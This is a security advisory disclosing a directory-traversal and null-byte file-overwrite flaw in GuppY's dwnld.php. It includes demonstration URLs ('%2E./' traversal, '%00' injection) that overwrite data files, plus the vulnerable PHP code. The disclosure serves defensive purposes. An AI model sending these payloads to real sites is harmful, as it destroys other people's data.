KAPDA New advisory

Vendor: http://www.freeguppy.org
Vulnerable: <= 4.5.11
Bug: Destroy database files (Remote DoS vulnerability)
Exploitation: Remote with browser
Exploit: available

Description:
--------------------
GuppY is a web portal intentionaly designed to be easy
to use for you, 
the final user. It doesn't require any database to
run. It allows you 
to create quickly and without any technical knowledge,
a complete and 
interactive website.
 
Vulnerability:
--------------------

There is a high risk vulnerability in guppy <= 4.5.11
in 'dwnld.php'pages that may 
allow remote attackers to destroy database files.(With
magic_quotes_gpc = Off 
,Its possible to destroy any file that chmoded 666 via
null injection).
Furthermore, directory traversal filter bypassing,
using 
%2E./ instead of ../

Demonstration URL:
--------------------
http://example.com/guppy/mobile/dwnld.php?pg=./%2E./stats
will replace content of stats.dtb with "1"
Or
http://example.com/guppy/dwnld.php?pg=./%2E./test.inc%00

Code Snippets:
--------------------
//dwnld.php
$dnldcounter = ReadDocCounter(DBBASE.$pg);
  UpdateDocCounter($pg);

//log.inc
}
  WriteDBFields(DBLOGH,$dblog);
}
$tabcounter = CompteVisites(DBIPSTATS, DBSTATS);
if ($tabcounter[0] > 0 && ($tabcounter[0]/10) ==
intval($tabcounter[0]/10)) {
  WriteCounter(DBSTATSBK, $tabcounter[0]);
}


//functions.php
function WriteCounter($fic,$DataDB) {
  $fhandle = fopen($fic, "w");
  fputs($fhandle, $DataDB."\n");
  fclose($fhandle);
}
.
.
.
function WriteDBFields($fic,$Fields) {
  $fhandle = fopen($fic, "w");
  $DataDB = "";
  for ($i = 0; $i < count($Fields); $i++) {
    for ($j = 0 ; $j < (count($Fields[$i])-1); $j++) {
      $DataDB .= trim($Fields[$i][$j]).CONNECTOR;
    }
    $DataDB .=
trim($Fields[$i][count($Fields[$i])-1])."\n";
  }
  fputs($fhandle, $DataDB);
  fclose($fhandle);
}
.
.
.
function ReadDocCounter($dirid) {
  $DataDB = ReadCounter($dirid.DBEXT);
  return $DataDB;
}

function WriteDocCounter($dirid,$DataDB) {
  WriteCounter($dirid.DBEXT,$DataDB);
}

function UpdateDocCounter($id) {
  $DataDB = ReadDocCounter(DBBASE.$id);
  $vote = DejaVote(DBIPBASE.$id.DBEXT,300);
  if ($vote[0] == false) {
    $DataDB++;
    WriteDocCounter(DBBASE.$id,$DataDB);
  }
  return $DataDB;
}
